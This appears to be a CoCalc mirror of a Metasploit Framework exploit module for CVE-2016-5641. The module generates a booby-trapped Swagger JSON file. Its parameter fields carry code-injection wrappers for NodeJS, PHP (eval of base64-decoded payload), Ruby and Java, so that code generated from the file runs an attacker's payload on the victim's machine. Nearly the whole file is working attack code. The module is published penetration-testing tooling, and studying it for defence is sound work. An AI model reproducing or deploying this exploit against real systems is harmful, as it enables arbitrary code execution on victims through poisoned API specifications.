CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/fileformat/swagger_param_inject.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
#
7
# Gems
8
#
9
require 'base64'
10
11
#
12
# Project
13
#
14
15
class MetasploitModule < Msf::Exploit::Remote
16
Rank = ExcellentRanking
17
18
include Msf::Exploit::FILEFORMAT
19
20
def initialize(info = {})
21
super(update_info(info,
22
'Name' => 'JSON Swagger CodeGen Parameter Injector',
23
'Description' => %q{
24
This module generates an Open API Specification 2.0 (Swagger) compliant
25
json document that includes payload insertion points in parameters.
26
27
In order for the payload to be executed, an attacker must convince
28
someone to generate code from a specially modified swagger.json file
29
within a vulnerable swagger-codgen appliance/container/api/service,
30
and then to execute that generated code (or include it into software
31
which will later be executed by another victim). By doing so, an
32
attacker can execute arbitrary code as the victim user. The same
33
vulnerability exists in the YAML format.
34
},
35
'License' => MSF_LICENSE,
36
'Author' =>
37
[
38
'ethersnowman <[email protected]>'
39
],
40
'References' =>
41
[
42
[ 'CVE', '2016-5641' ],
43
[ 'URL', 'http://github.com/swagger-api/swagger-codegen' ],
44
[ 'URL', 'https://www.rapid7.com/blog/post/2016/06/23/r7-2016-06-remote-code-execution-via-swagger-parameter-injection-cve-2016-5641' ]
45
],
46
'Platform' => %w{ nodejs php java ruby },
47
'Arch' => [ ARCH_NODEJS, ARCH_PHP, ARCH_JAVA, ARCH_RUBY ],
48
'Targets' =>
49
[
50
['NodeJS', { 'Platform' => 'nodejs', 'Arch' => ARCH_NODEJS } ],
51
['PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ],
52
['Java JSP', { 'Platform' => 'unix', 'Arch' => ARCH_JAVA } ],
53
['Ruby', { 'Platform' => 'ruby', 'Arch' => ARCH_RUBY } ]
54
],
55
'DisclosureDate' => '2016-06-23',
56
'DefaultTarget' => 0))
57
58
register_options(
59
[
60
OptString.new('FILENAME', [false, 'The file to write.', 'msf-swagger.json']),
61
OptString.new('INFO_DESCRIPTION', [true, 'Swagger info description', 'A']),
62
OptString.new('INFO_VERSION', [true, 'Swagger info version.', '1.0.0']),
63
OptString.new('INFO_TITLE', [true, 'Swagger info title.', 'C']),
64
OptEnum.new('SWAGGER_SCHEME', [true, 'Protocol scheme', 'http', ['http','https','ws','wss']]),
65
OptString.new('SWAGGER_HOST', [true, 'a valid hostname or IPv4']),
66
OptString.new('BASE_PATH', [true, 'The root path of API on host.', '/']),
67
OptString.new('PATH', [true, 'Path of request/response on root path.', '/a']),
68
OptString.new('PATH_DESCRIPTION', [true, 'Description of a path request object', 'D']),
69
OptString.new('PATH_RESPONSE_DESCRIPTION', [true, 'Description of a path response object', 'E']),
70
OptString.new('DEFINITION_DESCRIPTION', [true, 'Description of an object definition.', 'F'])
71
])
72
end
73
74
def swagger
75
%Q(
76
{
77
"swagger": "2.0",
78
"info": {
79
"description": "#{datastore['INFO_DESCRIPTION']}",
80
"version": "#{datastore['INFO_VERSION']}",
81
"title": "#{datastore['INFO_TITLE']}"
82
},
83
"schemes": [
84
"#{datastore['SWAGGER_SCHEME']}"
85
],
86
"host": "#{datastore['SWAGGER_HOST']}",
87
"basePath": "#{datastore['BASE_PATH']}",
88
"produces": [
89
"application/json"
90
],
91
"consumes": [
92
"application/json"
93
],
94
"paths": {
95
"#{datastore['PATH']}": {
96
"get": {
97
"description": "#{datastore['PATH_DESCRIPTION']}",
98
"responses": {
99
"200": {
100
"description": "#{datastore['PATH_RESPONSE_DESCRIPTION']}",
101
"schema": {
102
"$ref": "#/definitions/d"
103
}
104
}
105
}
106
}
107
}
108
},
109
"definitions": {
110
"d": {
111
"type": "object",
112
"description": "#{datastore['DEFINITION_DESCRIPTION']}",
113
"properties": {
114
"id": {
115
"type": "integer",
116
"format": "int64"
117
}
118
}
119
}
120
}
121
}
122
)
123
end
124
125
def exploit
126
case payload.arch[0]
127
when 'nodejs'
128
payload_loc = 'PATH'
129
payload_prefix = "/a');};};return exports;}));"
130
payload_suffix = "(function(){}(this,function(){a=function(){b=function(){new Array('"
131
wrapped_payload = payload_prefix + payload.encoded.gsub(/"/, '\\"') + payload_suffix
132
when 'php'
133
payload_loc = 'INFO_DESCRIPTION'
134
payload_prefix = "*/ namespace foobar; eval(base64_decode('"
135
payload_suffix = "')); /*"
136
wrapped_payload = payload_prefix +
137
Base64.strict_encode64(payload.encoded) +
138
payload_suffix
139
when 'ruby'
140
payload_loc = 'INFO_TITLE'
141
payload_prefix = "=end "
142
payload_suffix = "=begin "
143
wrapped_payload = payload_prefix + payload.encoded + payload_suffix
144
when 'java'
145
payload_loc = 'PATH'
146
payload_prefix = %q{a\\\"; "}
147
p = payload.encoded.gsub(/<%@page import="/, 'import ')
148
p = p.gsub(/\"%>/, ';').gsub(/<%/, '').gsub(/%>/, '')
149
p = p.gsub(/"/, '\\"').gsub(/\n/, ' ')
150
wrapped_payload = payload_prefix + p
151
else
152
raise IncompatiblePayloadError.new(datastore['PAYLOAD'])
153
end
154
155
datastore[payload_loc] = wrapped_payload
156
157
print_status swagger
158
file_create swagger
159
end
160
end
161
162